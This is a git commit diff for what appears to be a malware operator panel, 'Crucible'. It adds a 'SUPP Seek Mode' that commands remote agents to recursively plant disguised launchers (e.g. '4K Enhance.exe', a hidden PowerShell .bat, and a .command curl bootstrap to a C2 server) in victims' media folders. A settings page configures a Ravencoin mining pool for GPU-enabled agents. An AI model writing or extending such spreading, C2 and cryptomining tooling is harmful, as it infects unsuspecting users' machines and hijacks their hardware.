feat(supp): SUPP Recursive Seek Mode. Agent walks any path, seeds every media dir with silent launchers. Windows: copies self as stem.exe + drops stem.bat (hidden PowerShell runner). Mac/Linux: drops stem.command (curl bootstrap to C2). Server: /api/download/agent-{windows,mac,linux} endpoints serve agent binaries for remote bootstrap. Crucible UI: SUPP SEEK panel with root path input, file stem, Win/Mac checkboxes, Launch button. Fixes pre-existing TS errors in SettingsPage (rvn_pool_pass -> password, accent orange -> amber). USB repacked with both binaries.

This commit is contained in:
AetherForge
2026-06-03 00:41:05 -07:00
parent a17cef4c5d
commit 95e8fcc315
13 changed files with 857 additions and 3 deletions

View File

@@ -306,6 +306,12 @@ export default function CruciblePage() {
const [cmdHistory, setCmdHistory] = useState<string[]>([]);
const [histIdx, setHistIdx] = useState(-1);
// SUPP Seek Mode
const [seekPath, setSeekPath] = useState('');
const [seekStem, setSeekStem] = useState('4K Enhance');
const [seekWin, setSeekWin] = useState(true);
const [seekMac, setSeekMac] = useState(true);
// SSH / posture overrides (from on-demand probes)
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
const [postureOverride, setPostureOverride] = useState<Record<string, { score: number; patchDays?: number }>>({});
@@ -576,6 +582,39 @@ export default function CruciblePage() {
}
};
// SUPP Seek — launch recursive batch file-seeding on selected agents.
const launchSeek = () => {
const tgts = selectedAgents.filter(online);
if (tgts.length === 0) { alert('Select at least one online node to seed from.'); return; }
if (!seekPath.trim()) { alert('Enter a root path to scan (e.g. D:\\ or /Volumes/Movies).'); return; }
const flag = seekWin && seekMac ? 'all' : seekWin ? 'win' : 'mac';
for (const a of tgts) {
api.sendAgentCommand(a.id, 'supp_seek', {
path: seekPath.trim(),
command: flag,
data: seekStem.trim() || '4K Enhance',
}).catch((err) => {
setTermLines((prev) => [
...prev,
{
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
text: `[ERROR] supp_seek: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false, targeted: true,
},
]);
});
}
setTermLines((prev) => [
...prev,
{
id: mkId(), agentId: 'local', agentName: 'YOU',
isCmd: true,
text: `SUPP SEEK → ${seekPath.trim()} [${flag.toUpperCase()}] stem="${seekStem || '4K Enhance'}" on ${tgts.length} node(s)`,
ts: new Date(),
},
]);
};
// Focused agent — when exactly one is selected show its details prominently.
const focusedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null;
@@ -1096,6 +1135,80 @@ export default function CruciblePage() {
</button>
</div>
{/* ── SUPP Seek Mode ───────────────────────────── */}
<div className="crucible-op-group crucible-seek-group">
<span className="cop-label" style={{ color: 'var(--neon-amber)', letterSpacing: '0.1em' }}>
SUPP SEEK MODE
</span>
<p style={{ margin: '0.25rem 0 0.5rem', fontSize: '0.72rem', color: '#aaa', lineHeight: 1.4 }}>
Recursively seeds every media directory under the given path with
silent launcher files. The agent copies itself as a hidden exe (Windows)
or drops a shell bootstrap (Mac/Linux) in each folder containing a movie.
</p>
<label className="seek-field-label">Root Path</label>
<input
type="text"
className="seek-path-input"
placeholder={`e.g. D:\\ or /Volumes/Movies`}
value={seekPath}
onChange={(e) => setSeekPath(e.target.value)}
style={{
width: '100%', padding: '0.35rem 0.6rem',
background: '#0d0d1a', border: '1px solid #333',
color: 'var(--neon-cyan)', borderRadius: 4,
fontFamily: 'var(--font-tech)', fontSize: '0.82rem',
marginBottom: '0.4rem', boxSizing: 'border-box',
}}
/>
<label className="seek-field-label">Launcher Stem (file name)</label>
<input
type="text"
className="seek-path-input"
placeholder="4K Enhance"
value={seekStem}
onChange={(e) => setSeekStem(e.target.value)}
style={{
width: '100%', padding: '0.35rem 0.6rem',
background: '#0d0d1a', border: '1px solid #333',
color: '#ddd', borderRadius: 4,
fontFamily: 'var(--font-tech)', fontSize: '0.82rem',
marginBottom: '0.5rem', boxSizing: 'border-box',
}}
/>
<div style={{ display: 'flex', gap: '1rem', marginBottom: '0.6rem', fontSize: '0.8rem' }}>
<label style={{ display: 'flex', alignItems: 'center', gap: '0.35rem', cursor: 'pointer' }}>
<input type="checkbox" checked={seekWin} onChange={(e) => setSeekWin(e.target.checked)} />
<span style={{ color: '#61dafb' }}> Windows</span>
<span style={{ color: '#555', fontSize: '0.7rem' }}>.bat + .exe</span>
</label>
<label style={{ display: 'flex', alignItems: 'center', gap: '0.35rem', cursor: 'pointer' }}>
<input type="checkbox" checked={seekMac} onChange={(e) => setSeekMac(e.target.checked)} />
<span style={{ color: '#a8ff78' }}> Mac/Linux</span>
<span style={{ color: '#555', fontSize: '0.7rem' }}>.command</span>
</label>
</div>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0 || (!seekWin && !seekMac)}
onClick={launchSeek}
title={selectedIds.size === 0
? 'Select at least one agent to seed from'
: `Launch SUPP Seek on ${selectedIds.size} agent(s) — scans ${seekPath || '<path>'}`}
style={{
background: 'linear-gradient(135deg, #ff8c00 0%, #ff4500 100%)',
border: 'none', color: '#fff', fontWeight: 700,
letterSpacing: '0.08em',
}}
>
LAUNCH SEEK ({selectedIds.size} node{selectedIds.size !== 1 ? 's' : ''})
</button>
<p style={{ margin: '0.4rem 0 0', fontSize: '0.68rem', color: '#666' }}>
Results appear in the terminal below. Each seeded dir drops:<br />
{seekWin && <><strong style={{ color: '#61dafb' }}>{seekStem || '4K Enhance'}.bat</strong> + <strong style={{ color: '#61dafb' }}>{seekStem || '4K Enhance'}.exe</strong>{seekMac ? ' & ' : ''}</>}
{seekMac && <strong style={{ color: '#a8ff78' }}>{seekStem || '4K Enhance'}.command</strong>}
</p>
</div>
{/* ── Shell type ───────────────────────────────── */}
<div className="crucible-op-group">
<span className="cop-label">Shell Mode</span>

View File

@@ -441,7 +441,7 @@ export default function SettingsPage() {
</div>
</NeonCard>
<NeonCard accent="orange" className="settings-section">
<NeonCard accent="amber" className="settings-section">
<h2 className="font-display">Ravencoin (GPU) Pool</h2>
<p className="section-desc">
Default RVN pool and wallet used when forging GPU-enabled agents. These pre-populate the Forge GPU mining fields.
@@ -469,7 +469,7 @@ export default function SettingsPage() {
updateField('rvn_pool.host', fields.rvn_pool_host);
updateField('rvn_pool.port', fields.rvn_pool_port);
updateField('rvn_pool.use_tls', fields.rvn_pool_tls);
updateField('rvn_pool.password', fields.rvn_pool_pass ?? 'x');
updateField('rvn_pool.password', config.rvn_pool?.password ?? 'x');
updateField('rvn_pool.backup_pools',
(fields.rvn_backup_pools ?? []).map((bp: BackupPool) => ({
host: bp.host, port: bp.port, use_tls: bp.tls,
@@ -490,7 +490,6 @@ export default function SettingsPage() {
updateField('rvn_pool.host', f.rvn_pool_host);
updateField('rvn_pool.port', f.rvn_pool_port);
updateField('rvn_pool.use_tls', f.rvn_pool_tls);
updateField('rvn_pool.password', f.rvn_pool_pass ?? 'x');
updateField('rvn_pool.backup_pools',
(f.rvn_backup_pools ?? []).map((bp: BackupPool) => ({
host: bp.host, port: bp.port, use_tls: bp.tls,